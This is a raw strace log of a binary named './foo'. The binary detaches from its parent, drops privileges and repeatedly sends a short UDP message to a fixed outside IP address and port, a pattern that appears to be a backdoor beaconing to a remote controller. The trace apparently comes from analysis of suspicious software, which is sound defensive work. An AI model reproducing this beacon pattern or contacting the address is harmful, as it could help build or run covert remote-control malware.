execve("./foo", ["foo"], [/* 60 vars */]) = 0 personality(PER_LINUX) = 0 sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x4008eb68) = 0 fork() = 15422 [pid 15422] setsid() = 15422 [pid 15422] sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x8064854) = 0 [pid 15422] setuid(1) = 0 [pid 15422] setreuid(65535, 1) = 0 [pid 15422] fork() = 15423 [pid 15423] sigaction(SIGPIPE, {SIG_IGN}, {SIG_DFL}, 0x4008eb68) = 0 [pid 15423] chdir("/") = 0 [pid 15423] sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x8064854) = 0 [pid 15423] socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP) = 3 [pid 15423] fcntl(3, F_SETFL, O_RDONLY|O_NONBLOCK) = 0 [pid 15423] sendto(3, "GU\n", 3, 0, {sin_family=AF_INET, sin_port=htons(53413), sin_addr=inet_addr("216.242.103.2")}}, 16) = 3 [pid 15423] sigprocmask(SIG_BLOCK, [ALRM], []) = 0 [pid 15423] sigaction(SIGALRM, {0x805583c, [], 0}, {SIG_DFL}, 0x4008eb68) = 0 [pid 15423] time(NULL) = 1028733128 [pid 15423] alarm(10) = 0 [pid 15423] sigsuspend([] [pid 15421] _exit(0) = ? [pid 15422] _exit(0) = ? --- SIGALRM (Alarm clock) --- <... sigsuspend resumed> ) = -1 EINTR (Interrupted system call) sigreturn() = ? (mask now [ALRM]) time(NULL) = 1028733138 sigaction(SIGALRM, {SIG_DFL}, NULL, 0x80649a0) = 0 alarm(0) = 0 sigprocmask(SIG_SETMASK, [], NULL) = 0 recvfrom(3, 0xbfff7d44, 1000, 0, 0xbfff7d20, 0xbfff7d1c) = -1 EAGAIN (Resource temporarily unavailable) sendto(3, "GU\n", 3, 0, {sin_family=AF_INET, sin_port=htons(53413), sin_addr=inet_addr("216.242.103.2")}}, 16) = 3 sigprocmask(SIG_BLOCK, [ALRM], []) = 0 sigaction(SIGALRM, {0x805583c, [], 0}, {SIG_DFL}, 0x806485c) = 0 time(NULL) = 1028733138 alarm(10) = 0 sigsuspend([]